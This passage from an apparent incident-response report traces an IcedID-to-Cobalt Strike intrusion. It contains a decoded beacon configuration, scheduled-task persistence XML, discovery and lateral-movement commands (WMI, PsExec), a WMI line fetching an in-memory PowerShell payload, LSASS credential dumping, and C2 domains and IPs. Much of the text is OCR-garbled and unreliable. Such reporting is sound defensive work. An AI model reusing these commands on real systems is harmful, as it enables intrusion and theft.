<.81L16F<YA. 105 HLGEH-<0. H o HocaFARRACY . 3. cE.3°¢0.0 4 E
*Chka3 waAH’(c O7h+. (AAu3 o
N"EF<fhH.c..H.c. .H ¢f H-c«.@.a H : OA.H:H. .N.0.N&d
A.zA +aAA3<0. mAAF . ﬂ(NﬂNl«' '. .8, -a.H.c. .H.H.<OémAA@;A-AB. H.c.B.
é,ov#,.J.CE.J-GOv
J N.AH.[hiiiH..H3.H..41.).1A<..G0° 1. JO{ARAR*1ARAH. .8. .N6.pAR.4 .ONI.F

H.4".)<.H9.Nx. TuA. .+A.1C6. KATublu.A. 1C.*.@.CA. .@#A@Y . ICA. K. >Tu. =1u. <. *ANXB@IG. ICA.K.=Tu. <@.0.16.K.<.<.T .0

*.1up.<. 0. "Alu.ACAS.H.H .+A.#C8.0A. .1000"0.KA. 10 K.A.0. "Te11. 1A I}

Tr(kzphl (o 8. .JA.H.cE H.G0.Hyc0.H-ca¥. .. .cE. 2"

G. *.H..H.H. .H1sa{ARB . F.Y. -HzcwH. GEH6. °SSAAR.NDEGCA . NLKARA. H. . H. . <. YaF . a.H.yxJ1). GF JO.N. . 84T, 1; <#ih
<.8.0;38. H.c..HG. .H..€.4.... #.. . H .J.E.0c0.3%0.04. ... ...8/6.H* HE.H. .H3.HO+ 1RAF.IF+ARR.H.(N

Auto Bake ID.AAAS. .H.42.H.F ir AARS.AIF{ARA. A.NeYaCA.°.sSAAA.H.af.F..Y.NBKAAA.H..H..@.E.).ca.<.*GAAAFS. .N2E8.F

After this an MZ header can be observed. From there, the data can be saved and reviewed using 1768.py, from Didier

Stevens, revealing the Cobalt Strike configuration embedded within:
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~ % cd Downloads
Downloads % python3 1768.py —-raw payload.bin
File: payload.bin
Config found: xorkey b'.' ©x00000000 0x0000573e
0x0001 payload type 0x0001 0x0002 8 windows-beacon_https-reverse_https
0x0002 port 0x0001 0x0002 757

0x0003 sleeptime 0x0002 0x0004 62518

0x0004 maxgetsize 0x0002 0x0004 1864736

0x0005 jitter 0x0001 0x0002 37

0x0007 publickey 0x0003 0x0100 30819f302e06092a8648861722010101050003818d00308189028181009
9146249f914e4aal8d8045ec45dc96ddddéededb8dead60763dede9aab1c8821c804577314580dF527b8191fe@c831ffcb75564587be8ects

The full configuration:

Config found: xorkey b'.' 0x00000000 0x0000573e

0x0001 payload type 0x0001 0x0002 8 windows-beacon_https-reverse_https
0x0002 port 0x0001 0x0002 757
0x0003 sleeptime 0x0002 0x0004 62518
0x0004 maxgetsize 0x0002 0x0004 1864736
0x0005 jitter 0x0001 0x0002 37
0x0007 publickey 0x0003 0x0100 30819f302e06092a864886772e010101050003818d0030818902818
0x0008 server,get-uri 0x0003 0x0100 'aicsoftware\rcom,/templates’
0x000e SpawnTo 0x0003 0x0010 (NULL ...)
0x001d spawnto_x86 0x0003 0x0040 '%windir%\\syswow64\\regsvr32\rexe'
0x001e spawnto_x64 0x0003 0x0040 '%windir%\\sysnative\\regsvr32\rexe'
0x001f CryptoScheme 0x0001 0x0002 @
0x001a get-verb 0x0003 0x0010 'GET'
0x001b post-verb 0x0003 0x0010 'POST'
0x001c HttpPostChunk 0x0002 0x0004 @
0x0025 license-id 0x0002 0x0004 305419776
0x0026 bStageCleanup 0x0001 0x0002 1
0x0027 bCFGCaution 0x0001 0x0002 0
0x0009 useragent 0x0003 0x0100 'Mozilla/5\r@ (Macintosh; Intel Mac 0S X 10_11_2) Applel
0x000a post-uri 0x0003 0x0040 '/favicon'
0x000b Malleable_C2_Instructions 0x0003 0x0100

Transform Input: [7:Input,4,2:600,3,46]

Print

Remove 600 bytes from begin
BASE64
Unknown instruction: 0x2e
0x000c http_get_header 0x0003 0x0200
comonst_host_header Host: aicsoftware
Const_header Connection: close
Build Metadata: [7:Metadata,46,3,2:wordpress_logged_in=,6:Cookie,9:mark=true]
Unknown instruction: @x2e
BASE64
Prepend wordpress_logged_in=
Header Cookie
Const_parameter mark=true
0x002e process-inject-transform-x86 0x0003 0x0200 '\x00\x00\x00\x10\x00\x00\x00\x15Host: aicsoftware\rcom

0x0036 HostHeader 0x0003 0x0080 (NULL ...)

0x0032 UsesCookies 0x0001 0x0002 1

0x0023 proxy_type 0x0001 0x0002 2 IE settings

0x003a TCP_FRAME_HEADER 0x0003 0x0080 '\x00\x04'

0x0039 SMB_FRAME_HEADER 0x0003 0x0080 '\x00\x04"

0x0037 EXIT_FUNK 0x0001 0x0002 @

0x0028 killdate 0x0002 0x0004 0

0x0029 textSectionEnd 0x0002 0x0004 177872

0x002a feSectionsInfo 0x0003 0x0028 '\x00A\x02\x00r \x03\x00\x00A\x03\x00\x88\x85\x04\x00\x00\x90\
0x002b process-inject-start-rwx 0x0001 0x0002 4 PAGE_READWRITE
0x002c process-inject-use-rwx 0x0001 0x0002 32 PAGE_EXECUTE_READ
0x002d process-inject-min_alloc 0x0002 0x0004 6133

0x000d http_post_header 0x0003 0x0100

Header pcspcs
0x002f process-inject-transform-x64 0x0003 0x0100 '\x00\x00\x00\x06\x90\x90\x90\x90\x90\x90"

0x0035 process-inject-stub 0x0003 0x0010 'pIp\x0Tijuic™\x1aDg¥29)
0x0033 process-inject-execute 0x0003 0x0080 '\x01\x04\x03'

0x0034 process-inject-allocation-method 0x0001 0x0002 0

0x0000

Guessing Cobalt Strike version: 4.2 (max 0x003a)
Sanity check Cobalt Strike config: 0K
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After using PowerShell beacons during the first day on the beachhead host and a Domain Controller, the threat actors moved
to using DLL files exclusively for the remainder of Cobalt Strike beacons deployed during the intrusion. Other notable

executions included the use of batch files:

C:\Windows\system32\cmd.exe /c c:\windows\temp\1.bat
-> rundl132.exe c:\windows\temp\1.d1l, Dl1RegisterServer
Persistence

During the initial execution of IcedID, the following two files were created under the AppData Roaming folder of the user

that executed it:

» exdudipo.dll: IcedID first stage.

« license.dat: Encoded version of the second stage which the first stage will load into memory.

Parent Path Name
\\Users\[REDACTED]\AppData\Roaming\{02959BFD-29E0-6A95-3B77-5E55B8D01CB7}\{CA2AB541-E118-83C2-ADAD-8729FDCA00CO} exdudipo.dil
\\Users\[REDACTED]\AppData\Roaming\AntiquePeanut license.dat

A scheduled task was created that contained instructions on executing the IcedID DLL and the location of the license.dat

file. This is a very common method that IcedID has used for persistence.

<?xml version="1.0" encoding="UTF-16"7>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
<RegistrationInfo>
<URI>\{3774AD25-8218-8099-89BA-CE96C6EIDCAE}</URI>
</RegistrationInfo>
<Triggers>
<TimeTrigger id="TimeTrigger">
<Repetition>
<Interval>PT1H</Interval>
<StopAtDurationEnd>false</StopAtDurationEnd>
</Repetition>
<StartBoundary>2012-01-01T712:00:00</StartBoundary>
<Enabled>true</Enabled>
</TimeTrigger>
<LogonTrigger id="LogonTrigger">
<Enabled>true</Enabled>
<UserId>[REDACTED USER]</UserId>
</LogonTrigger>
</Triggers>
<Principals>
<Principal id="Author">
<RunLevel>HighestAvailable</RunLevel>
<UserId>[REDACTED DOMAINI\[REDACTED USER]</UserId>
<LogonType>InteractiveToken</LogonType>
</Principal>
</Principals>
<Settings>
<MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
<DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
<StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
<AllowHardTerminate>false</AllowHardTerminate>
<StartWhenAvailable>true</StartWhenAvailable>
<RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
<IdleSettings>
<Duration>PT10M</Duration>
<WaitTimeout>PT1H</WaitTimeout>
<StopOnIdleEnd>true</StopOnIdleEnd>
<RestartOnldle>false</RestartOnIdle>
</IdleSettings>
<AllowStartOnDemand>true</AllowStartOnDemand>
<Enabled>true</Enabled>
<Hidden>false</Hidden>
<RunOnlyIfIdle>false</RunOnlyIfIdle>
<WakeToRun>false</WakeToRun>
<ExecutionTimelLimit>PT0S</ExecutionTimelimit>
<Priority>7</Priority>
</Settings>
<Actions Context="Author">
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<Exec>
<Command>rund1132. exe</Command>
<Arguments>"C:\Users\[REDACTED USER]\AppData\Roaming\{02959BFD-29E0@-6A95-3B77-5E55B8D01CB7}\{CA2AB541-E
</Exec>
</Actions>
</Task>

The scheduled task was configured to execute every hour.

EventSystemEventD /.

_time & Event EventData.ParentCommandLine * #  EventEventData Commandine &

1 C:\Windows\system32\svchost.exe -k netsvcs -p -5 rundl132.exe "C:\Users\[E\ AppData\Roaning\{029598FD-29E0~6A95-3877-5ESSB8D01CBT) \(CA2ABS41-E118-83C2-ADAD-
19:00:02.102 Schedule 8729FDCADOCO) \exdudipo.d11”,#1 —-pa="AntiquePeanut\license. dat"

1 C:\Windows\system32\svchost.exe -k netsvcs -p - rundl132.ex 29E0-6A95-3877-5E5588001CB7) \(CAZABS41-E118-83C2-ADAD:
20:00:01.126 Sched 8729FDCA0OCO)\exdudipo.d11”  #1 ~-pa="An

1 C:\Windows\systen32\suchost.exe -k netsvcs -p - rundl132.exe "C:\Users) 29E0-6A95-3877-5E55B8001 CB7) \(CAZABSA1-E118-83C2-ADAD~
21:00:00.935 Schedule 8729FDCA00CO)\exdudipo.d11" #1 --pa="AntiquePeanut\license.dat

1 C:\Windows\system32\svchost.exe -k netsvcs -p - rundl132.exe *C:\Ust aming\ (02959BFD-29E0-6A95-3877-SESSB8D01CB7)\ (CA2ABS41-E118-83C2-ADAD-
22:00:00.911 Schedule 8729FDCA0OCO) \exdudipo.d11" #1 --pa="AntiquePeanut\license.dat"

Privilege Escalation

Privilege escalation was completed on two systems via the named pipe GetSystem feature within the Cobalt Strike tool. An

example is shown below via Sysmon event ID 1 — ProcessCreate Rule:

Process Create:
Ru chnique $d=T1059, cechnique_name=Command-Line Interface

ws\Syscen3z\cmd. exe
10.0.17763.592 (WinBuild.160101.0800)
: Windows Command Processcr
s czosofc® Windows® Operating System
Company: Microsoft Corporation
OriginalFileName: Cmd.E:

= o
CurrencDirectory: C:\Windows\systems2\
User: NT AUTHORITY\SYSTEM
LogonGuid:

xe /c echo >\

EazentProcessId: 4984
c:

c:
ParencUser: NT AUTHORITY\SYSTEM

Defense Evasion
This intrusion displayed numerous techniques used by threat actors to evade detection.
Process Injection

The adversary was seen injecting code into legitimate processes via CreateRemoteThread which can be detected using

Sysmon event ID 8.

EventiD 8

RuleName technique_id=T1055,technique_name=Process Injection
UteTime REDACTED

SourceProcessGuid {fafd9184-9876-6340-480c-000000000500}

SourceProcessld 10436

Sourcelmage C:\Windows\System32\rundll32.exe

TargetProcessGuid {fafd9184-e545-6330-3101-000000000500}

TargetProcessld 6224

Targetimage C:\Program Files\WindowsApps\Microsoft. Windows.Photos_

2022.30070.26007.0_x64__ 8wekyb3d8bbwe\Microsoft.Photos.exe
NewThreadid 5676

StartAddress Ox000001B3A8760006
StartModule -

StartFunction -

SourceUser REDACTED
TargetUser REDACTED

The table below shows examples of injected processes found via an in memory yara scan using this Malpedia yara rule:

Process .
Host b ProcessName CommandLine
workstation.domain.local =~ 612 winlogon.exe winlogon.exe
workstation.domain.local =~ 828 svchost.exe C:\Windows\system32\svchost.exe -k DcomLaunch -p
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fileshare.domain.local 760 svchost.exe C:\Windows\system32\svchost.exe -k DcomLaunch -p

fileshare.domain.local 4928 winlogon.exe winlogon.exe

fileshare.domain.local 1960 rundll32.exe rundll32.exe c:\windows\temp\1.dll

beachhead.domain.local 712 Isass.exe C:\Windows\system32\lsass.exe

beachhead.domain.local 812 svchost.exe C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbS

beachhead.domain Iocal <384 TextinputHost exe C:\Windows\SystemApps\MicrosoftWindows.Client. CBS_cw5n1h2txyewy\Texth
-ServerName:InputApp.AppXjd5delg66v206tj52m9d0dtpppx4cgpn.mca

beachhead.domain.local 2036 sysmon64.exe C:\Windows\sysmon64.exe -z syscliprpcOE7B7D3FAF371803

beachhead.domain.local 2568 regsvr32.exe C:\Windows\syswow64\regsvr32.exe

beachhead.domain.local 9760 cmd.exe C:\Windows\SysWOW64\cmd.exe

server.domain.local 432 rundll32.exe rundll32.exe 1.dll

File Deletion

Files that were dropped in temporary directories were deleted after execution as seen below with Sysmon event ID 11 and
23.

T @timestamp (© ~ hosthosthame * event.code ™ event.action ~ file.path
@ 13:88:59.492 11 File created (rule: FileCreate) C:\Windows\Tempi1.d11l
@ 13:04:42.555 23 File Delete archived (rule: FileDelete) C:\Windows\Tempi1.d11
Below is the list of files seen being created and later deleted by the threat actor:

7.exe
adfind.bat
adfind.exe
adget.exe
ad.7z
1.bat
1.d11
7.exe
ns.bat

Renamed System Utilities

Adversaries typically rename common Windows system utilities to avoid triggering alerts that monitor utility usage. The

table below summaries the renamed utilities observed in this intrusion.

Windows Utility Renamed Windows Utility
rundll32.exe C:\Users\SREDACTED>\Documents\calc.exe
psexesvc.exe C:\Windows\mstdc.exe

Credential Access

The threat actors were observed accessing a file server, and browsing though files related to passwords. These would later be

observed opened off network, more details in the exfiltration section on that activity.

event.dataset source.ip destination.ip destination.port file.name

zeek.smb_files BEACHHEAD FILESERVER 445 \Passwords\passwords.xlsx
zeek.smb_files BEACHHEAD FILESERVER 445 \Passwords\old passwords.docx
zeek.smb_files BEACHHEAD FILESERVER 445 \Passwords

zeek.smb_files BEACHHEAD FILESERVER 445 \passwords.docx
zeek.smb_files BEACHHEAD FILESERVER 445 \old passwords.docx
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On the second day of the intrusion, after moving laterally to a Domain Controller, LSASS was accessed from a Cobalt Strike
process. The access granted value 0x1010 was observed. As noted in a previous report, this value matches known mimikatz

access patterns. This logged event suggests Cobalt Strike accessed LSASS to dump credentials from memory. This activity

was observed again on various hosts on the fourth and sixth days of the intrusion.

ThreadId: 6844

Gl
3-B8B8608660

2\1sass.exe

td1l.d11+9fc24|C: \Windows\S; (ERNELBASE . d11+26d@e | UNKNOWN( 66206008681

Discovery

The discovery phase primarily utilized built-in Windows tools. One utility seen was chcp  which allows you to display or
set the code page number. The default chcp value is determined by the Windows locale. The locale can indicate the
language, country, and regional standards of that host (e.g. date and time formatting). After viewing the default page code,
the adversary did change the value to 65001 to reflect the UTF-8 character set. We have seen this as a technique employed

by IcedID for some time as reported in depth in prior cases.

arp -a
chep >&2

chcp 65001

chcp 65001 &% c: && cd c:\

dir \\<REDACTED>\c$

ipconfig /all

net config workstation

net group "Domain Admins" /domain
net group "Domain Computers" /domain
net group "domain admins" /dom

net group "enterprise admins" /dom
net localgroup "administrators" /dom
net view /all

net view /all /domain

net1 config workstation

nltest /domain_trusts

nltest /domain_trusts /all_trusts
ping <HOST_IP>

systeminfo

whoami

whoami /upn

Following the initial discovery commands mentioned above on day one, the threat actor scanned the network for port 1433,

the default port used by Microsoft SQL server.
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@timestamp (5 v source.ip ~ i ip ~ i port v zeek tate Vv zeek tate_message
DAY 1 @ 21:43:76. . 182 1,433 REJ Connection attempt rejected.
@ :43:16. . 178 1,433 REJ Connection attempt rejected.

188 1,433 REJ Connection attempt rejected.

186 1,433 REJ Connection attempt rejected.

184 1,433 REJ Connection attempt rejected.

196 1,433 REJ Connection attempt rejected.

192 1,433 REJ Connection attempt rejected.

198 1,433 REJ Connection attempt rejected.

.2680 1,433 REJ Connection attempt rejected.

199 1,433 REJ Connection attempt rejected.

.215 1,433 REJ Connection attempt rejected.

268 1,433 REJ Connection attempt rejected

231 1,433 REJ Connection attempt rejected

281 1,433 REJ Connection attempt rejected

197 1,433 REJ Connection attempt rejected

226 1,433 REJ Connection attempt rejected

223 1,433 REJ Connection attempt rejected

218 1,433 REJ Connection attempt rejected

The discovery phase remained minimal leading into day six. The threat actors were seen dropping AdFind and adget.exe to

reveal all users, groups, computers, organizational units, subnets, and trust objects within the domain.

event.action v eventcode v process.parentargs ~ process.executable ~ process.command_line

Process Create (rule: ProcessCreate) 1 C:\Windows\systend2\cnd..exe, /C. adfind.bat C:\Windows\Temp\adfind..exe adfind.exe -f (objectcategory=person)

Process Create (rule: ProcessCreate) 1 C:\Windows\systens2\cnd..exe, /C. adfind.bat C:\Windows\Tenp\adfind..exe adfind.exe -f objectcategory=computer

Process Create (rule: ProcessCreate) 1 C:\Windows\systen32\cnd..exe, /C. adfind.bat C:\Windows\Tenp\adfind..exe adfind.exe -f (objectcategory=organizationalunit)
Process Create (rule: ProcessCreate) 1 C:\Windows\systen32\cnd .exe, /C, adfind.bat C:\Windows\Tenp\adfind..exe adfind.exe -subnets -f (objectCategory=subnet)
Process Create (rule: ProcessCreate) 1 C:\Windows\systen32\cnd..exe, /C. adfind.bat C:\Windows\Tenp\adfind..exe adfind.exe -f " (objectcategory=group)

Process Create (rule: ProcessCreate) 1 C:\Windows\systen32\cnd..exe, /C, adfind.bat C:\Windows\Tenp\adfind..exe adfind.exe -geb -sc trustdmp

Process Create (rule: ProcessCreate) 1 C:\Windows\systens2\cnd..exe, /C. adfind.bat C:\Windows\Tenp\7.exe 7.exe a -mx3 ad.7z ad_+

Process Create (rule: ProcessCreate) 1 C:\Windows\systend2\cnd..exe, /C. adfind.bat C:\Windows\Temp\adfind..exe adfind.exe -f (objectcategory=person)

Process Create (rule: ProcessCreate) 1 C:\Windows\systen32\cnd..exe, /C. adfind.bat C:\Windows\Tenp\adfind..exe adfind.exe -f objectcategory=computer

Process Create (rule: ProcessCreate) 1 C:\Windows\systen32\cnd..exe, /C. adfind.bat C:\Windows\Tenp\adfind..exe adfind.exe -f (objectcategory=organizationalUnit)
Process Create (rule: ProcessCreate) 1 C:\Windows\systen32\cnd..exe, /C, adfind.bat C:\Windows\Tenp\adfind..exe adfind.exe -subnets -f (objectCategory=subnet)
Process Create (rule: ProcessCreate) 1 C:\Windows\systens2\cnd..exe, /C. adfind.bat C:\Windows\Tenp\adfind..exe adfind.exe -f " (objectcategory=group)

Process Create (rule: ProcessCreate) 1 C:\Windows\systend2\cnd..exe, /C. adfind.bat C:\Windows\Tenp\adfind..exe adfind.exe -gcb -sc trustdmp

Process Create (rule: ProcessCreate) 1 C:\Windows\systens2\cnd..exe, /C. adfind.bat C:\Windows\Tenp\7.exe 7.exe a -m3 ad.7z ad_+

adfind.exe -gcb -sc trustdmp

adfind.exe -f (objectcategory=group)

adfind.exe -subnets -f (objectCategory=subnet)
adfind.exe -f (objectcategory=organizationalUnit)
adfind.exe -f objectcategory=computer

adfind.exe -f (objectcategory=person)

Adget is a newer tool that we first observed in this previous report but generally this tool performs similar AD discovery as
AdFind.

Create:
Ru
UtcTime:

riginalFileName: -
ommandLin

Terminals

Integrityl

ParentProcessId: 8164

ParentImage: C:\Window:
ParentCommandLine: C:

ParentUser:

Following the Active Directory discovery activity, additional remote discovery actions were observed using WMI to gather

information about Windows OS version and licensing on the hosts.

Page 13 of 33


https://thedfirreport.com/wp-content/uploads/2023/05/18190-027.png
https://thedfirreport.com/wp-content/uploads/2023/05/18190-027.png
https://thedfirreport.com/wp-content/uploads/2023/05/18190-028.png
https://thedfirreport.com/wp-content/uploads/2023/05/18190-028.png
https://thedfirreport.com/2023/04/03/malicious-iso-file-leads-to-domain-wide-ransomware/
https://thedfirreport.com/wp-content/uploads/2023/05/18190-029.png
https://thedfirreport.com/wp-content/uploads/2023/05/18190-029.png

https://thedfirreport.com /2023/05/22 /icedid-macro-ends-in-nokoyawa-ransomware,/

C:\Windows\system32\cmd.exe /C wmic /node:"REDACTED" /user:"USER" /password:"REDACTED" os get caption

Then another recon round occurred using NSLOOKUP to map assets to IP addresses.

1+ @timestamp (O ~ event.code v event.action ~ process.command_line

NG @ 12:59:22.297 1 Process Create (rule: ProcessCreate) nslookup
€@ 13:24:36.696 1 Process Create (rule: ProcessCreate) nslookup
€ 13:34:34.686 1 Process Create (rule: ProcessCreate) nslookup
& 14:84:30.641 1 Process Create (rule: ProcessCreate) nslookup
@ 14:86:15.243 1 Process Create (rule: ProcessCreate) nslookup
@ 14:49:15.192 1 Process Create (rule: ProcessCreate) nslookup
@ 16:11:44.495 1 Process Create (rule: ProcessCreate) nslookup
€ 16:11:44.721 1 Process Create (rule: ProcessCreate) nslookup
& 16:11:44.823 1 Process Create (rule: ProcessCreate) nslookup
& 16:11:44.917 1 Process Create (rule: ProcessCreate) nslookup
@ 16:11:45.8086 1 Process Create (rule: ProcessCreate) nslookup
@ 16:11:45.604 1 Process Create (rule: ProcessCreate) nslookup

@ 16:11:45.175 1 Process Create (rule: ProcessCreate) nslookup

This was followed by network scans for RDP:

1 @timestamp © ~ sourceip v destinat ~ destination.port  zeek. tion.state v zeek tion.state_message

14:05:54.487 170 3,389 RSTR Responder sent a RST.

€ 14:06:21.116 181 223 3,389 RSTR Responder sent a RST.

e 14:7:19.455 181 223 3,389 §1 Connection established, not terminated

€ 14:09:25.237 181 176 3,389 RSTR Responder sent a RST.

€ 14:09:45.308 181 170 3,389 52 Connection established and close attempt by originator seen (but no reply from responder)

e 14:10:40.113 181 170 3,389 58 Connection attempt seen, no reply

€ 14:10:47.143 181 170 3,389 58 Connection attempt seen, no reply

© 14:49:23.347 181 218 3,389 RSTR Responder sent a RST.

© 14:49:48.469 181 218 3,389 RSTR Responder sent a RST

© 16:24:44.688 181 184 3,389 RSTR Responder sent a RST

© 16:25:15.901 181 184 3,389 RSTR Responder sent a RST

© 16:33:08.678 181 208 3,389 RSTR Responder sent a RST

© 16:33:35.256 181 208 3,389 RSTR Responder sent a RST.

© 16:36:30.976 181 221 3,389 RSTR Responder sent a RST.

© 16:36:53.860 181 221 3,389 RSTR Responder sent a RST.

Lateral Movement

During this intrusion, threat actors used a number of different techniques to move laterally across the domain. The

techniques used will be detailed in the following sections.
T1021.006 Remote Services: WinRM

Some of the threat actors’ lateral activity was executed using WinRM, this could be observed by matching parent-child

process trees and DCE RPC traffic.

WinRM Activity

deerpe
____ RemUnknown2 ____,
- RemQuerylnterface =] — Parent Process — Ca\Wii iprvse.exe -secured
=—> === !
Host 1 Host 2 \

\
Child Process

Ss
Bld \cmd.exe /c i I.bat

T1047 WMI

Threat Actors ran the following command to download and execute an in memory PowerShell payload on a domain

controller:

C:\\Windows\\System32\\wbem\\umic.exe /node:REDACTED process call create \""cmd.exe /c powershell.exe -nop -\

WMI was also used also when executing remote DLL beacons:
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C:\Windows\system32\cmd.exe /C wmic /node:"REDACTED" process call create "c:\windows\system32\rundl132.exe c:'

WMI commands were also observed during ransom deployment:

wmic /node:REDACTED /user:DOMAIN\USER /password:REDACTED process call create cmd.exe /c copy \\REDACTED\c$\wii

T1021.002 Remote Services: SMB/Windows Admin Shares

The threat actors relied on SMB to move their tools throughout the network during the intrusion.

¢ fileset.name ~  source.ip ~ destination.ip ~ zeek.smb_files.path v zeek.smb_files.name

181 OPEN .225 \\ 2 windo V1.d11

:FILE_OPEN

:FILE_OPEN

The threat actors used PSExec to move laterally to servers during the ransom execution, the -r flag was used to rename the

binary created on the remote server to mstdc.exe .

fileset.name ~  source.ip ~ zeek.smb_files.action ~ destination.ip ~ zeek.smb_files. ~ zeek.smb_files.name

fil o i TLE_OPEN

: :FILE_OPEN

ILE_OPEN

FILE_OPEN

IMINS

: :FILE_OPEN

IMINS

: :FILE_OPEN

::FILE_OPEN

ILE_OPEM

FILE_OPEN

Below are some of the PsExec forensic artifacts logged in Windows Event Logs and Sysmon:
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00:60 o o o
22:48:48
ilege, SeBackupPrivil. Logonld: GxEg3352

a8 A nes S Account: Localsysten
process.command_line =

psexec.exe \\ mstdc -accepteula -nobanner c:\windows\temp\p.bat
psexec.exe \\ mstdc -accepteula -nobanner c:\windows\temp\p.bat
psexec.exe \\ mstdc -accepteula -nobanner c:\windows\temp\p.bat
psexec.exe \\ mstdc -accepteula -nobanner c:\windows\temp\p.bat

psexec. exe mstdc -accepteula -nobanner c:\windows\temp\p.bat

psexec. exe mstdc -accepteula -nobanner c:\windows\temp\p.bat

psexec. exe mstdc -accepteula -nobanner c:\windows\temp\p.bat

psexec.exe mstdc -accepteula -nobanner c:\windows\temp\p.bat
psexec.exe mstdc -accepteula -nobanner c:\windows\temp\p.bat
psexec.exe mstdc -accepteula -nobanner c:\windows\temp\p.bat
psexec.exe mstdc -accepteula -nobanner c:\windows\temp\p.bat
psexec.exe mstdc -accepteula -nobanner c:\windows\temp\p.bat

Overview of the mstdc.exe binary (renamed psexecsvc.exe):

[E pestudio 9.46 - Malware Initial Assessment - www.winitor.com - - [m] X

file settings about

?
ENE] St o property value
‘"“'“'”I . "1_ mds 7DAE150C1DFOEQ146TBEIATAZTTB646
n 'd"m':‘md" b shal F309B61A8B005B5CEDAIFBSBCAAATIBCFCESFSDB
w dUS' :ﬂb (6271(6b ytEJS] cha256 3C19FEE379B4882971834A3D38F3F8BA6DES60114274375560433778CD505748
os-stul )
S (Vls):a\ Stucio) first-bytes-hex 4D 5A 90 00 03 0D 0D DD 04 0D DD DO FF FF 0D 00 B3 00 00 00 00 0D 0D 00 40 0D 00 00 0D 00 DO 00 00
file-header (Intel-386) first-bytes-text MZ s @
optienal-header (censole) file-size 383872 bytes
B directories (7) entropy 6.603
sections (5) imphash
1 libraries (flag) signature
1 imports (flag) tooling
3 entry-point
# file-version
4 relocations (5212) file-type
¢ cpu

T resources (3)

abc strings (6743) *

ffx debug (3)

& manifest (aslnvoker)
[z version (psexesvc.exe)

L overlay (unknown)

subsystem
compiler-stamp

debugger-stamp
resources-stamp
import-stamp

exports-stamp

Renaming PsExec is likely an action taken by threat actors to bypass basic PsExec anomaly rules. However, there are Sigma

rules which detect this specific technique, as shared by Florian Roth back in 2019.

They also employed use of the Windows copy utility to move files around the network via SMB:

cmd.exe /c copy \\REDACTED\c$\windows\temp\p.bat c:\windows\temp\

T1021.001 Remote Services: RDP

Threat actors also used RDP during this intrusion. Below is an example of forensic artifacts left after using RDP to move

laterally from the beachhead to one of the domain servers logged in Windows Event Logs using different providers:

ag - ap Event I Payload Data2
> 00:00 L: 3 = L3
16:25:30 Successful RDP Connections 98 ScriptBlockText
16:25:38 Successful logon 4624
16:25:43 Remote Desktop Services: Session logon succeeded 21
16:30:33 Remote Desktop Services: Session has been disconnected 24 -
21:40:42 Successful RDP Connections 98 ScriptBlockText
21:40:45 Remote Desktop Services: Session reconnection succeeded 25
21:50:48 Remote Desktop Services: Session has been disconnected 24 -
22:14:58 Successful RDP Connections 98 ScriptBlockText
22:15:04 Remote Desktop Services: Session reconnection succeeded 25
22:18:11 Remote Desktop Services: Session has been disconnected 24 -
22:37:05 Successful RDP Connections 98 ScriptBlockText
v 22:37:11 Remote Desktop Services: Session reconnection succeeded 25
22:57:46 Remote Desktop Services: Session has been disconnected 24
Collection

During discovery actions, the threat actors were observed using 7-Zip to archive data collected from active directory using
AdFind.
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Create:
technique_id=T1859, technique_name=Command-Line Interface

Je-6346-362b-0BEBBEE88560 }

OriginalFileNam
>ommandLine :
CurrentDirectory:

User:

13681467
FCF, IMPHASH=15847EB18
ParentProces { 6PBEABE5E0 )
ParentProcessId: 9488
ParentImi Windows\
ParentCommandLine: C:\Windows te cmd . /C adfind.bat
ParentUser:

7.exe a -mx3 ad.7z ad_*

Command and Control
IcedID

In this case IcedID was observed with the campaign ID of 3298576311 communicating with a C2 server located at

kicknocisd[.]Jcom.

Suricata Rule Name Domain 1P AS ORG Country
ET MALWARE
) ) ) DIGITALOCEAN-  United
Win32/IcedID Request kicknocisd[.]Jcom  159.65.169[.]200
Cooki ASN States
ookie

After initial connections, IcedID command and control traffic moved to the following servers.

Domain 1P Port JA3 JA3s

curabiebarristie[.Jcom = 198.244.180.66 = 443 a0e9f5d64349fb13191bc781f81f42e1  ec74a5c51106£0419184d0dd08fb0Sbe

stayersal.]art 198.244.180.66 ~ 443  a0e9f5d64349fb13191bc781f81f42el  ec74a5c51106f0419184d0dd08fb05Sbe
guarachezal.Jpics 45.66.248.119 443 a0e9f5d64349fb13191bc781f81f42e1  ec74a5c51106f0419184d0dd08fb0Sbc
belliecowl[. Jwiki 45.66.248.119 443 a0e9f5d64349fb13191bc781f81f42e1  ec74a5c51106f0419184d0dd08fb0Sbc

Connections to one of the IcedID servers was observed in memory dumps from the beachhead host. This evidence is
consistent with the connections to 45.66.248[.]119 observed from the renamed rundll32.exe that loaded the IcedID DLL
during maldoc execution at the beginning of this case.

Volatility 3 Framework 2.4.2

Offset Proto LocalAddr LocalPort ForeignAddr ForeignPort State PID Owner Created

0xd80f8206b7a@ TCPv4 6172 443 ESTABLISHED 11412 calc.exe

BackConnect VNC

During the intrusion we also observed connections to a BackConnect VNC IP address. These connections were also

spawned from the running IcedID process on the beachhead host.

Volatility 3 Framework 2.4.2
Offset Proto LocalAddr LocalPort ForeignAddr ForeignPort State Owner  Created

0xd80f7b17e010 TCPv4 61729 8080 CLOSED 11412 calc.ex .000000
0xd80f83d454c@® TCPv4 6172 8080 ESTABLISHED calc.ex .000000

0xd80f8749f510 TCPv4 6 8080 CLOSED 11412 calc.exe .000000

Alerts from Lenny Hansson‘s ruleset fired on the traffic for the following alerts:

Suricata Alert 1P Port

Page 17 of 33


https://thedfirreport.com/wp-content/uploads/2023/05/18190-039.png
https://thedfirreport.com/wp-content/uploads/2023/05/18190-039.png
https://thedfirreport.com/wp-content/uploads/2023/05/18190-040.png
https://thedfirreport.com/wp-content/uploads/2023/05/18190-040.png
https://thedfirreport.com/wp-content/uploads/2023/05/18190-041.png
https://thedfirreport.com/wp-content/uploads/2023/05/18190-041.png
https://twitter.com/NetcowboyDK
https://networkforensic.dk/SNORT/default.html

https://thedfirreport.com /2023/05/22 /icedid-macro-ends-in-nokoyawa-ransomware,/

NF — Malware IcedID BackConnect — Wait Command 137.74.104.108 8080

NF — Malware IcedID BackConnect — Start VNC command — 11 137.74.104.108 8080

Here’s another look at the VNC GUI from the attackers standpoint.

SR usERread [ £2 user BB usERblack
W Hoesk W roeskTmp | | G HoESKNM

